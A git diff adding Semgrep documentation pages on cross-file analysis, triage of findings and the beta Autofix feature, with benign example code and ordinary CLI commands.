+```js
+const readUser = require("./commonjs/common")
+readUser()
+```
+
+You can run examples in your cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests) by going to `docs/taint_tracking/imports` and running the following command:
+```bash
+semgrep --config pro.yaml . --pro
+```
+
+## Type inference and class inheritance
+
+### Class inheritance
+
+This section compares the possible findings of a scan across multiple files using Semgrep CE and Semgrep. The file `app.java` includes two check functions that throw exceptions. This example looks for methods that throw a particular exception, `ExampleException`.
+
+
+
+
+
+When using this rule, Semgrep CE matches code that throws `ExampleException` but not `BadRequest`. Check other files in the `docs/class_inheritance` directory. In the context of all files, you can find that this match does **not** capture the whole picture. The `BadRequest` extends `ExampleException`:
+
+File `example_exception.java`:
+
+```java
+package example;
+
+public class ExampleException extends Exception {
+
+ public ExampleException(String exception) {
+ super(exception);
+ }
+}
+```
+
+File `bad_request.java`:
+```java
+package example;
+
+class BadRequest extends ExampleException {
+ public BadRequest(String exception) {
+ super(exception);
+ }
+}
+```
+
+Where `ExampleException` is thrown, it is also good to find `BadRequest`, because `BadRequest` is a child of `ExampleException`. Unlike Semgrep CE, Semgrep can find `BadRequest`. Since Semgrep uses information from all the files in the directory it scans, it detects `BadRequest` and finds both thrown exceptions.
+
+If you are following along with the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), in the `docs/class_inheritance` directory, try the following commands to test the difference:
+
+1. Run Semgrep CE:
+ ```bash
+ semgrep --config pro.yaml .
+ ```
+2. Run Semgrep:
+ ```bash
+ semgrep --config pro.yaml . --pro
+ ```
+
+### Using class inheritance with typed metavariables
+
+Semgrep uses cross-file class inheritance information when matching [typed metavariables](/writing-rules/pattern-syntax/#typed-metavariables). Continuing the example from the previous section, see the following example file, which has defined some exceptions and includes their logging:
+
+
+
+
+
+The rule searches for any variable of type `ExampleException` being logged. Semgrep CE is **not** able to find instances of `BadRequest` being logged, unlike Semgrep. Allowing typed metavariables to access information from the entire program enables users to query any variable for its type and use that information in conjunction with the rest of the code resulting in more accurate findings.
+
+
+**NOTE**
+
+For a more realistic example where typed metavariables are used, see the following [rule written by the Semgrep community](https://semgrep.dev/playground/s/o9l6) to find code vulnerable to the log4j vulnerability.
+
+
+To test this example in the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), run Semgrep by going to `docs/class_inheritance_with_typed_metavariables` and entering the following command:
+
+```bash
+semgrep --config pro.yaml . --pro
+```
+
+## Constant propagation
+
+### Finding dangerous calls
+
+[Constant propagation](/writing-rules/pattern-syntax/#constants) provides a syntax for eliminating false positives in Semgrep rules. Even if a variable is set to a constant before being used in a function call several lines below, Semgrep knows that it must have that value and matches the function call. For example, this rule looks for non-constant values passed to the `dangerous` function:
+
+#### Java
+
+
+
+
+
+Semgrep CE matches the first and second calls as it cannot find a constant value for either `user_input` or `EMPLOYEE_TABLE_NAME`.
+
+Now consider an example a bit more complicated to illustrate what Semgrep can do. If the `EMPLOYEE_TABLE_NAME` is imported from a global constants file with the following content:
+
+Global constants file:
+```java
+package com.main;
+
+public final class Constants {
+ public static final double PI = 3.14159;
+ public static final double PLANCK_CONSTANT = 6.62606896e-34;
+ public static final String EMPLOYEE_TABLE_NAME = "Employees";
+}
+```
+
+Semgrep matches the first call without any change to the rule.
+
+To test this through the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/constant_propagation_dangerous_calls` and run the following command:
+
+```bash
+semgrep --config pro.yaml . --pro
+```
+
+#### JavaScript and TypeScript
+
+
+
+
+
+Semgrep matches the first and second calls because Semgrep cannot find a constant value for either `user_input` or `EMPLOYEE_TABLE_NAME`.
+
+Now consider an example a bit more complicated to illustrate what Semgrep can do. If the `EMPLOYEE_TABLE_NAME` is imported from a global constants file with the following content:
+
+Global constants file:
+```js
+export const PI = 3.14159;
+export const PLANCK_CONSTANT = 6.62606896e-34;
+export const EMPLOYEE_TABLE_NAME = "Employees";
+```
+
+Semgrep matches the first call without any change to the rule.
+
+To test this in the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/constant_propagation_dangerous_calls` and run the following command:
+
+```bash
+semgrep --config pro.yaml . --pro
+```
+
+### Propagating values
+
+In the previous example, it only mattered whether the string was constant or not, so the example used `”...”`, but constant propagation also propagates the constant value. To illustrate the use of Semgrep with constant propagation, the rule from the previous section is changed to search for calls to `dangerous("Employees");`.
+
+#### Java
+
+
+
+
+
+With Semgrep, this rule matches the last three calls to `dangerous`, since these calls are selected from the `Employees` table, though each one obtains the table name differently.
+
+To test this in the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/constant_propagation_propagating_values` and run the following command:
+
+```bash
+semgrep --config pro.yaml . --pro
+```
+
+#### JavaScript and TypeScript
+
+
+
+
+
+With Semgrep, this rule matches the last three calls to `dangerous`, since these calls are selected from the `Employees` table, though each one obtains the table name differently.
+
+To test this in the cloned [Semgrep testing repository](https://github.com/semgrep/semgrep-pro-tests), go to `docs/constant_propagation_propagating_values` and run the following command:
+
+```bash
+semgrep --config pro.yaml . --pro
+```
diff --git a/mintlify-docs/semgrep-code/semgrep-pro-engine-intro.mdx b/mintlify-docs/semgrep-code/semgrep-pro-engine-intro.mdx
new file mode 100644
index 0000000000..12282a8bf6
--- /dev/null
+++ b/mintlify-docs/semgrep-code/semgrep-pro-engine-intro.mdx
@@ -0,0 +1,237 @@
+---
+title: "Perform cross-file analysis"
+description: "Use Semgrep Code's **cross-file (interfile) analysis** to detect vulnerabilities across files and folders within a project."
+---
+
+By design, Semgrep open source software, Semgrep Community Edition (CE) can only analyze interactions within a single function, also known as **intraprocedural analysis**. This limited scope makes Semgrep CE fast and easy to integrate into developer workflows.
+
+Semgrep Code runs **cross-function (interprocedural)** analysis by default, and gives security teams the option to trade off speed for better results and deeper analysis with **cross-file analysis**. By analyzing interactions across files and functions, Semgrep Code can reduce noise, uncover new vulnerabilities, and make results easier to understand.
+
+
+**LANGUAGE SUPPORT**
+
+Refer to [ Supported languages](/supported-languages) to see languages supported by Semgrep Code.
+
+
+## Run cross-file analysis
+
+This section guides you through installing the proprietary cross-file (interfile) analysis binary and helps you to scan your projects both in CLI and with Semgrep AppSec Platform.
+
+### Run cross-file analysis with Semgrep AppSec Platform
+
+
+**PREREQUISITE**
+
+You have completed a [Semgrep core deployment](/deployment/core-deployment).
+
+
+This is the preferred method to run cross-file analysis. It enables you to view and triage your findings from a centralized location. Your source code is not uploaded.
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **[Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code)**.
+
+
+Click the **Cross-file analysis** toggle to turn on this feature.
+
+
+Ensure that you have the **default ruleset** added in your **[Policies page](https://semgrep.dev/orgs/-/policies)**. If this ruleset is **not** added, go to [ Semgrep Registry - Default ruleset page](https://semgrep.dev/p/default), then click **Add to Policy**. For best results, set this ruleset to the **Monitor** rule mode.
+
+
+
+**Full scans** now include cross-file analysis. You can trigger a full scan through your CI provider. Note that cross-file analysis does **not** currently run on diff-aware (pull request or merge request) scans.
+
+### Run cross-file analysis in the CLI
+
+
+**PREREQUISITE**
+
+- Local installation of Semgrep CLI. See [ Getting started with Semgrep](/getting-started/quickstart) to install Semgrep CLI.
+
+
+
+
+Sign up or sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+For first-time users, click **Create an organization**. Note that you can further integrate organizations (orgs) with GitLab accounts and GitHub accounts, including personal and org accounts, after you complete this procedure.
+
+
+Go to **[Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code)**.
+
+
+Click the **Cross-file analysis** toggle to turn on this feature.
+
+
+Ensure that you are in the **root directory** of the repository you want to scan.
+
+
+In your CLI, log in to your Semgrep AppSec Platform account and run a scan:
+```bash
+semgrep login && semgrep ci
+```
+
+
+
+#### Update cross-file analysis in the CLI
+
+Cross-file analysis uses a separate `semgrep` binary. To update to the latest version, follow these steps:
+
+
+
+Update your Semgrep CLI tool with the following command:
+
+
+
+```bash
+ brew upgrade semgrep
+ ```
+
+ Alternatively, using pipx (https://pipx.pypa.io/stable/how-to/install-pipx/) or uv (https://docs.astral.sh/uv/):
+
+ ```bash
+ pipx upgrade semgrep
+ # or
+ uv tool upgrade semgrep
+ ```
+
+
+
+
+Using pipx (https://pipx.pypa.io/stable/how-to/install-pipx/) or uv (https://docs.astral.sh/uv/):
+
+ ```bash
+ pipx upgrade semgrep
+ # or
+ uv tool upgrade semgrep
+ ```
+
+
+
+
+```bash
+ # ensure that you have Python 3.9 or later installed
+ # before proceeding
+
+ pipx upgrade semgrep
+ # or
+ uv tool upgrade semgrep
+ ```
+
+
+
+
+```bash
+ docker pull semgrep/semgrep:latest
+ ```
+
+
+
+
+
+
+Log in to Semgrep AppSec Platform:
+ ```bash
+ semgrep login
+ ```
+
+
+
+Update the Semgrep cross-file binary:
+ ```bash
+ semgrep install-semgrep-pro
+ ```
+
+
+
+### Write rules that analyze across files and functions
+
+To create rules that analyze across files and functions, add `interfile: true` under the `options` key when defining a rule. This key tells Semgrep to use the rule for both cross-function and cross-file analysis.
+
+#### Cross-function example
+
+The following example shows how to define the `interfile` key (see the **Rule** pane) and the resulting cross-function analysis in the **Test code** pane.
+
+
+
+
+
+Click ** Run** to see the true positive in lines 27-30.
+
+Semgrep Code performed cross-function analysis as the `userInput()` source was called in `main()` while the `exec()` sink was called in the `DockerCompose` class.
+
+Interact with the rule widget to compare Semgrep Community Edition (CE) and Semgrep Code. In the **Rule** pane, you can remove the lines:
+
+```yaml
+options:
+ interfile: true
+```
+
+This results in a failure to detect the true positive, because Semgrep did not perform cross-function analysis.
+
+## Known limitations of cross-file analysis
+
+### CommonJS
+
+Currently Semgrep's cross-file analysis does not handle specific cases of CommmonJS where you define a function and assign it to an export later. Cross-file analysis does not track the code below:
+
+```js
+function get_user() {
+ return get_user_input("example")
+ }
+
+module.exports = get_user
+```
+
+### Regressions in cross-file analysis
+
+Cross-file analysis resolves names differently than Semgrep CE's analysis. Consequently, rules with `interfile: true` may produce different results than Semgrep CE. Some instances could be regarded as regressions; if you encounter them, please file a bug report. When you need to report a bug in Semgrep's cross-file analysis, go through [Semgrep Support](/support). You can also contact us through [Semgrep Community Slack group](https://go.semgrep.dev/slack).
+
+## Appendix
+
+### Types of Semgrep Code analysis
+
+
+**Cross-file (interfile) analysis**
+- Cross-file analysis finds patterns spanning multiple files within a project to help security engineers deeply understand their organization's security issues. This analysis reduces noise and detects issues that Semgrep CE can't find.
+- Cross-file analysis runs on full scans. These scans may take longer to complete and can use more memory than Semgrep CE scans. See the available languages for cross-file analysis in [Supported languages](/supported-languages/#semgrep-pro-engine).
+- In Semgrep Code, cross-file analysis includes cross-function analysis as well.
+
+**Cross-function (interprocedural) analysis**
+- Cross-function analysis finds patterns within a single file spanning code blocks and functions.
+- Semgrep Code scans run cross-function analysis by default.
+- See an example of cross-function analysis in [Semgrep Code cross-function example](#pro-engine-cross-function-example).
+- See the available languages for cross-function analysis in [ Supported languages](/supported-languages/#semgrep-pro-engine).
+
+#### Semgrep Code cross-file CI scan issues
+
+To provide reliably completed scans, Semgrep Code can **fall back** from cross-file analysis to single-file analysis. This ensures that in the vast majority of cases, scans run successfully.
+
+By default, if a scan uses more than **5 GB** of memory during cross-file pre-processing, the scan uses single-file analysis to ensure lower memory consumption. Similarly, if a cross-file scan doesn't complete after 3 hours, the analysis times out and Semgrep re-scans the repository using single-file analysis. Typically, this happens because the repository is very large.
+
+If 1-2 repositories cause CI scan issues and scanning these repositories with interfile analysis is not critical, modify your configuration file to use `semgrep ci --pro-intrafile`. This overrides the Semgrep AppSec Platform setting for these repositories, and always runs these scans with single-file, cross-function analysis.
+
+If many repositories cause scan issues, or you have critical repositories you are unable to scan with Semgrep's interfile analysis:
+
+
+
+Disable the **Cross-file analysis** toggle in the **[Settings > General > Code](https://semgrep.dev/orgs/-/settings/general/code)** page of your organization.
+
+
+Review scan troubleshooting guides such as [A Semgrep scan is having a problem - what next?](/kb/semgrep-code/semgrep-scan-troubleshooting) or [Troubleshooting "You are seeing this because the engine was killed."](/kb/semgrep-code/scan-engine-kill)
+
+
+If you need additional guidance, [contact Semgrep Support](/support), or reach out to the Semgrep team in the Semgrep Community Slack so we can help you resolve the issue and create a plan for your organization.
+
+
+
+### Difference between cross-file analysis and join mode
+
+Cross-file analysis is different from [join mode](/writing-rules/experiments/join-mode/overview), which also allows you to perform cross-file analyses by letting you join on the metavariable matches in separate rules. Join mode is an experimental feature which is not actively developed or maintained. You may encounter many issues while using join mode.
+
+### Feedback for Semgrep Code's advanced analyses
+
+The team at Semgrep is excited to hear what's on your mind. As you explore these features, we want to know what you'd like to be able to capture with it. We believe that this deeper analysis helps users find more vulnerabilities, build trust with developers, and enforce code standards quickly. Let us know what you think about the results in the Semgrep Community Slack.
diff --git a/mintlify-docs/semgrep-code/triage-remediation.mdx b/mintlify-docs/semgrep-code/triage-remediation.mdx
new file mode 100644
index 0000000000..bfcd46620d
--- /dev/null
+++ b/mintlify-docs/semgrep-code/triage-remediation.mdx
@@ -0,0 +1,340 @@
+---
+title: "Triage and remediate findings"
+sidebarTitle: "Triage and remediation"
+description: "This article shows you how to manage and triage findings identified by Semgrep Code using Semgrep AppSec Platform. The specific actions available to you when managing your findings include:"
+---
+
+- **Fixing the issue detected.** This is Semgrep's primary goal. If the rule produces a **true positive** finding, the code must be updated or refactored so that the Semgrep rule pattern no longer matches it. Developers can refactor code manually based on Semgrep's suggestions, or use [Semgrep's **Autofix**](/semgrep-code/triage-remediation/autofix), a feature that uses AI to automatically generates proposed code changes for findings.
+- **Triaging the finding.** Deprioritize a finding if it's not helpful or important through triage. Triage actions include ignoring and reopening a previously ignored finding. Triaging a finding to **ignore** is one method to handle **false positives** without changing a rule or your code.
+- **Removing the rule or code that generated the finding.** There are cases where Semgrep scans a file it should ignore or scans the file with an irrelevant rule. You can [disable the rule](/semgrep-code/policies#disable-rules) from the **Policies** page or [add the file to the ignore list](/ignoring-files-folders-code).
+
+## Semgrep Multimodal
+
+If you have Semgrep Multimodal enabled, you receive AI-powered security recommendations to help you review, triage, fix, and remediate your Semgrep findings:
+
+- [Remediation advice](/semgrep-multimodal/overview#remediation) shown in Semgrep AppSec Platform, including:
+ - [Guidance](/semgrep-multimodal/overview#guidance) with step-by-step instructions on how to remediate the finding identified by Semgrep Code in every pull request (PR) or merge request (MR) comment Semgrep pushes.
+ - [Suggested fix](/semgrep-multimodal/overview#suggested-fix) flagging affected code that needs to be changed.
+- [Component tagging](/semgrep-multimodal/overview#component-tags) to help identify high-priority issues
+
+Semgrep Multimodal can also [auto-triage findings](/semgrep-multimodal/overview#auto-triage), suggest whether a finding can safely be ignored, and [filter out potential false positives](/semgrep-multimodal/overview#noise-filtering-beta) to help increase developer velocity.
+
+## Autofix findings
+
+Autofix is a beta feature that uses AI to generate proposed code changes for Semgrep Code findings. Use it when you want Semgrep to open a draft PR with the changes implemented. You remain in full control over reviewing and merging the PR.
+
+For details and workflow steps, see [Autofix](/semgrep-code/triage-remediation/autofix).
+
+## Triage statuses
+
+**Triage** is the prioritization of a finding based on policies or criteria set by your team or organization, such as severity, coding standards, business goals, and product goals.
+
+Semgrep AppSec Platform uses the logic specified in the table below to automatically mark findings as either fixed or removed when they are no longer present in the code. Additionally, Semgrep can automatically mark findings as **provisionally ignored** based on AI analysis, validation results, and reachability analysis.
+
+You can manually **Ignore** findings or set them as **To fix** or **Reviewing** in Semgrep AppSec Platform directly through **triage** or **bulk triage** actions.
+
+The triage statuses are as follows:
+
+| Status | Description |
+| :--- | :--- |
+| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
+| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
+| **Provisionally ignored** | Findings that Semgrep Multimodal has flagged as false positives. You can change the status to **Ignored** if you agree with Multimodal's assement. Otherwise, you can change the status to **To fix** if you disagree. |
+| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
+| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
+| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
+| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
+
+### Removed findings
+
+Findings can also be **removed**. Semgrep considers a finding removed if it is not found in the most recent scan of the branch where Semgrep initially detected it due to any of the following conditions:
+
+- The rule that detected the finding isn't enabled in the policy anymore.
+- The rule that detected the finding was updated in a way that it no longer detects the finding.
+- The file path where the finding appeared is no longer found. The file path was deleted, renamed, added to a `.semgrepignore` file, added to a `.gitignore` file, or added to the list of ignored paths in Semgrep AppSec Platform.
+- For GitHub organization accounts: the pull request or merge request where the finding was detected has been closed without merging.
+
+Your removed findings do not count toward the fix rate or the number of findings. The removed findings also do not appear in Semgrep AppSec Platform.
+
+### Triage behavior across refs and branches
+
+- When you triage a finding as ignored, reviewing, fixing, or reopened, Semgrep always triages across other branches and [Git references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) (refs).
+- At scan time, there's automatic triaging that occurs in specific cases, and the behavior changes depending on the type of scan:
+ - **Full scans**: if the current branch includes a finding that was
+ - Previously introduced in another branch ***and***
+ - Triaged to a specific state
+ **Then** the finding in the current branch is triaged to that same state.
+ - **Diff-aware scan**: findings introduced in a diff-aware scan are **not** automatically triaged at scan time, even if there are other instances of that finding on branches that have been triaged.
+
+## Triage and remediation
+
+The following sections show you how to manage your findings by:
+
+* Fixing the underlying code
+* Disabling a rule or a ruleset
+* Ignoring a finding
+* Reopening a finding
+
+Note that some actions, such as ignoring and reopening findings, require different steps based on whether you have chosen **Group by Rule** or **No Grouping** when viewing your results on the **Findings** page.
+
+## Review provisionally ignored findings
+
+If you have Semgrep Multimodal enabled, review the findings that have been **provisionally ignored**. These are findings that Semgrep Multimodal has flagged as false positives. For each finding, you can change the status to **Ignored** if you agree with Multimodal's assement. Otherwise, you can change the status to **To fix** if you disagree.
+
+Findings with a status of **provisionally ignored** block pull requests and merge requests if the matching rule is included in a blocking policy.
+
+### Ignore findings
+
+To handle **false positives** without changing the rule or your code, set the finding's triage status to **ignore**.
+
+
+
+To **ignore findings** in the **Group by Rule** view:
+
+
+
+Go to [**Code > All**](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Open** findings.
+
+
+Perform one of these steps:
+ - To select all findings for the same rule, select the first checkbox on the finding's card, then click **Triage > Ignored** .
+ - To select individual findings reported by a rule, fill in the checkboxes of the finding, and then click **Triage > Ignored**.
+
+
+Select **Ignore reason**, and optionally, provide **Comments** to describe why the finding was ignored.
+
+
+Click **Submit**.
+
+
+
+
+To **ignore individual finding** in the **No grouping** view, follow these steps:
+
+
+
+Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Open** findings.
+
+
+Select the checkbox next to a finding you want to ignore, and click **Triage > Ignored**.
+
+
+Select **Ignore reason**, and optionally, provide **Comments** to describe why the finding was ignored.
+
+
+Click **Submit**.
+
+
+
+To **ignore multiple findings** in the **No grouping** view, follow these steps:
+
+
+
+Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Open** findings.
+
+
+Perform one of these steps:
+ - Select all findings on the page displayed by clicking on the header row checkbox that states **X matching findings**. You can navigate to succeeding pages and add other results to the current selection.
+ - Select all findings of interest by clicking on their checkboxes.
+
+
+Click **Triage > Ignored**.
+
+
+Select **Ignore reason**, and optionally, provide **Comments** to describe why the findings were ignored.
+
+
+Click **Submit**.
+
+
+
+
+
+### Reopen findings
+
+You can **reopen** a finding at any time, whether you previously marked it as **ignored** or Semgrep automatically marked it as **provisionally ignored**.
+
+
+
+To **reopen findings** in the **Group by Rule** view, follow these steps:
+
+
+
+Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Ignored**, **Provisionally Ignored**, or **Fixed** findings.
+
+
+Perform one of these steps:
+ - To select all findings for the same rule, select the first checkbox on the finding's card, then click **Triage > Open** .
+ - To select individual findings reported by a rule, fill in the checkboxes of the finding, and then click **Triage > Open**.
+
+
+Optional: Write a reason to describe why the finding was reopened.
+
+
+Click **Submit**.
+
+
+
+
+To **reopen individual findings** in the No grouping view, follow these steps:
+
+
+
+Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Ignored**, **Provisionally Ignored**, or **Fixed** findings.
+
+
+Select the checkbox next to a finding you want to reopen. Click **Triage > Open**.
+
+
+Optional: Write a reason to describe why the finding was reopened.
+
+
+Click **Submit**.
+
+
+
+To **reopen multiple findings** in the **No grouping** view, follow these steps:
+
+
+
+Go to [Code > All](https://semgrep.dev/orgs/-/findings?tab=open), and ensure that your filters are set to display all **Ignored**, **Provisionally Ignored**, or **Fixed** findings.
+
+
+Perform one of these steps:
+ - Select all findings on the page displayed by clicking on the header row checkbox that states **X matching findings**. You can navigate to succeeding pages and add other results to the current selection.
+ - Select all findings of interest by clicking on their checkboxes.
+
+
+Click **Triage > Open**.
+
+
+Optional: Write a reason to describe why the finding was reopened.
+
+
+Click **Submit**.
+
+
+
+
+
+### Turn off a ruleset or a rule
+
+You can turn off a specific rule or ruleset to prevent Semgrep Code from using it when scanning your codebase.
+
+
+**INFO**
+
+When you turn off a rule, existing findings from that rule remain open until you re-scan your code.
+
+
+
+
+To disable a **rule**:
+
+
+
+Go to the [**Policies** page](https://semgrep.dev/orgs/-/policies) and select either:
+ - The top **Number Matching Rules** checkbox to select all rules.
+ - Individual checkboxes next to a rule to turn off rules one by one.
+
+
+Click **(Number) Change modes**, then click **Disabled**.
+
+
+
+You can also set the state in the **Mode** column to **Disabled** for individual rules.
+
+To turn off a **ruleset** using the Policies page:
+
+
+
+Go to the [**Policies** page](https://semgrep.dev/orgs/-/policies), .
+
+
+Use the **Ruleset** filter's drop-down box to find and click the ruleset to remove.
+
+
+Click **Matching rules**.
+
+
+Click **Change modes > Disabled**.
+
+
+
+
+## Triage findings through PR and MR comments
+
+You can triage your Semgrep AppSec Platform findings displayed as comments in PRs and MRs by replying with another comment.
+
+Before proceeding, ensure that you have:
+ - One or more repositories hosted by a [Semgrep-supported source code manager (SCM)](/getting-started/scm-support).
+ - Configured [PR or MR comments](/category/pr-or-mr-comments) for your SCM.
+ - Enabled the option in your Semgrep organization settings.
+ i. Click **Settings**. This takes you to the **General > Global** settings tab.
+ ii. Enable the toggle under **Triage via code review comments**.
+ - *For SCMs other than GitHub:*
+ - Granted Semgrep permission to interact with pull requests and create webhooks for your SCM
+ - Enabled the **Incoming webhooks** option on the SCM connection
+
+### Grant permission to interact with pull requests and create webhooks for your SCM
+
+See the following documents for instructions on granting the correct permissions to enable pull request interaction and webhook management:
+
+
+
+
+
+
+
+
+Once you've turned on this feature, you can triage a finding using the following steps:
+
+
+
+Find an open comment created by Semgrep in your pull request or merge request.
+
+
+Reply to the comment with the action you want to take. You must provide a reason to help the reader understand why the finding has been triaged as ignored:
+
+| Comment | Description |
+| :--- | :--- |
+| /fp <COMMENT> | Triage a finding as **Ignored** with the triage reason **false positive**. Provide a <COMMENT> with information about the triage decision. |
+| /ar <COMMENT> | Triage a finding as **Ignored** with the triage reason **acceptable risk**. Provide a <COMMENT> with information about the triage decision. |
+| /other <COMMENT> | Triage a finding as **Ignored** without specifying the reason; the triage reason value is set to **No triage reason**. Provide a <COMMENT> with information about the triage decision. |
+| /open <REASON> | Reopen a finding that has been triaged as **Ignored**. Optionally, provide a <COMMENT> with information about the decision to reopen the finding. |
+
+
+
+
+Semgrep attempts to reply to your comment if it successfully triages the finding.
+
+Triaging a finding as **Ignored** through a comment changes the status of the finding to **Ignored** in Semgrep AppSec Platform. However, the pull request or merge request conversation itself is **not** automatically resolved by this process.
+
+
+**LEGACY COMMANDS**
+
+Semgrep supports older versions of this feature that used the following commands:
+- /semgrep ignore <REASON> - triage a finding as **Ignored**.
+- /semgrep open <REASON> - reopen a finding that has been triaged as **Ignored**.
+
+
+## Triage findings in bulk through the Semgrep API
+
+Semgrep provides an API endpoint you can use to triage findings in bulk, either by passing a list of `issue_ids` or filter query parameters to select findings. You must also specify an `issue_type`, such as `sast` or `sca`, and either `new_triage_state` or `new_note`.
+
+The available `new_triage_state` values you can set are:
+- `open`
+- `reviewing`
+- `fixing`
+- `ignored`
+- `fixed`
+
+If specifying a `new_triage_reason`, you must also use `new_triage_state=ignored`.
+
+
+**NOTE**
+
+When retrieving findings through the API, you may also see the `provisionally_ignored` status. This status is automatically set by Semgrep and cannot be manually assigned through the bulk triage API.
+
+
+Refer to [ Bulk triage API documentation](https://semgrep.dev/api/v1/#tag/TriageService) for complete details.
diff --git a/mintlify-docs/semgrep-code/triage-remediation/autofix.mdx b/mintlify-docs/semgrep-code/triage-remediation/autofix.mdx
new file mode 100644
index 0000000000..e4c22d6cec
--- /dev/null
+++ b/mintlify-docs/semgrep-code/triage-remediation/autofix.mdx
@@ -0,0 +1,145 @@
+---
+title: "Autofix for Semgrep Code (beta)"
+sidebarTitle: "Autofix (beta)"
+description: "Semgrep’s Autofix feature uses AI to generate proposed code changes for Semgrep Code findings."
+---
+
+
+Autofix creates a GitHub branch, applies the changes, and opens a draft pull request (PR). You remain in full control over reviewing and merging the PR.
+
+
+**INFO**
+
+Autofix is different from [Rule-defined fix](/writing-rules/rule-defined-fix) and [Semgrep Multimodal's Suggested fix](/semgrep-multimodal/overview#suggested-fix). These are separate features with different behaviors and use cases.
+
+
+## Prerequisites
+
+
+**NOTE**
+
+Autofix is available only for GitHub Cloud repositories.
+
+
+To use Autofix, you must meet the following requirements:
+
+* [Enable Semgrep Multimodal](/semgrep-multimodal/getting-started).
+* Accept AWS Bedrock or Anthropic's Claude models.
+ * During beta, Semgrep Code does not respect AI model selection.
+* Have at least one GitHub Cloud repository with new or existing Semgrep Code findings.
+* Ensure the Semgrep private GitHub App is installed.
+ - The app is installed when you [add GitHub repositories to Semgrep Managed Scans](/deployment/managed-scanning/github#permissions).
+ - Verify that the app is connected by navigating to **[Semgrep AppSec Platform > Settings > Source code managers](https://semgrep.dev/orgs/-/settings/source-code)**.
+* Ensure that your GitHub App has `Contents: Read and write` permissions configured.
+ - Note that the `Contents: Read and write` repository permission is separate from the permissions shown on the GitHub App overview page. You must explicitly set **Repository permissions > Contents** under **Developer Settings > GitHub Apps**. This setting is **not** enabled automatically by the other read/write permissions listed for the app.
+
+
+
+If you are an **existing** Semgrep user and you need to change
+your Semgrep app's permissions:
+
+
+
+In GitHub, navigate to **[Settings > Developer Settings](https://github.com/settings/apps)**. You should see your Semgrep App listed in the **GitHub Apps** tab.
+
+
+Click **Edit** on the Semgrep app.
+
+
+Navigate to the **Permissions & events** section.
+
+
+Expand **Repository permissions** and go to **Contents**.
+
+
+Click the drop-down menu and select **Read and write**.
+
+
+Save these settings.
+
+
+Next, navigate back to the main **[GitHub Settings](https://github.com/settings/)** page. One way to do so is by clicking **Settings** in GitHub’s website breadcrumbs.
+
+
+In the **[Applications](https://github.com/settings/installations)** tab, locate the Semgrep app under the **Installed GitHub Apps** tab.
+
+
+Click **Review request** next to the **Permission updates requested** message, then choose **Accept new permissions**.
+
+
+
+
+
+## Use Autofix
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/orgs/-)
+
+
+Click **Code** to view all SAST findings.
+
+
+Identify the finding you want to Autofix and click the hyperlink on the card to navigate to the finding’s **Details** page.
+
+
+From the **Fix** drop-down, select **Open Autofix PR**.
+
+
+You will see the following message:
+> Starting to generate Autofix PR. Semgrep is generating an Autofix PR for this finding. A new notification will appear here when the PR is ready.
+
+
+
+In **2 to 10 minutes**, Semgrep generates a proposed fix and opens a draft PR in GitHub.
+ * This action is recorded in the **Activity** section at the bottom of the finding’s **Details** page.
+
+
+Click **View Autofix PR** in the **FIX DETAILS** section to review the newly created PR in GitHub.
+
+
+
+### PR details
+
+* The pull request is opened as a **draft**.
+* Semgrep provides an AI-generated description of the changes in the pull request.
+* The pull request is authored by the **Semgrep GitHub App**.
+* If your GitHub account is connected to Semgrep, you are automatically **mentioned** in the pull request.
+
+### Findings with open PRs on Semgrep AppSec Platform
+
+You can filter for findings with Autofix PRs directly from the **Code** page in Semgrep AppSec Platform. Click the **To fix** drop-down and select **To fix** to do so.
+
+This filter shows findings that have Autofix PRs. It may also include findings that were manually marked as **To fix**.
+
+## Disable Autofix
+
+If you use Semgrep Multimodal, Autofix is enabled by default. To adjust settings:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login)
+
+
+Navigate to **Settings > General > Code**
+
+
+Set the Autofix toggle to enabled or disabled
+
+
+
+## How Autofix PRs are generated
+
+Autofix generates a proposed change specifically for the PR workflow. This process uses the detected pattern and surrounding code context to produce the fix.
+
+### Use of remediation guidance
+
+Autofix PRs are generated independently of Semgrep Multimodal's Suggested fixes. When Multimodal remediation guidance exists for a finding, the descriptive guidance is used to generate the code changes included in the PR.
+
+Because the code changes displayed on findings and PRs are generated separately, the exact changes in an Autofix PR may differ from Multimodal's suggested fix displayed on the finding.
+
+### How memories affect PR generation
+
+At this time, Semgrep Memories do not directly influence Autofix PR generation.
+
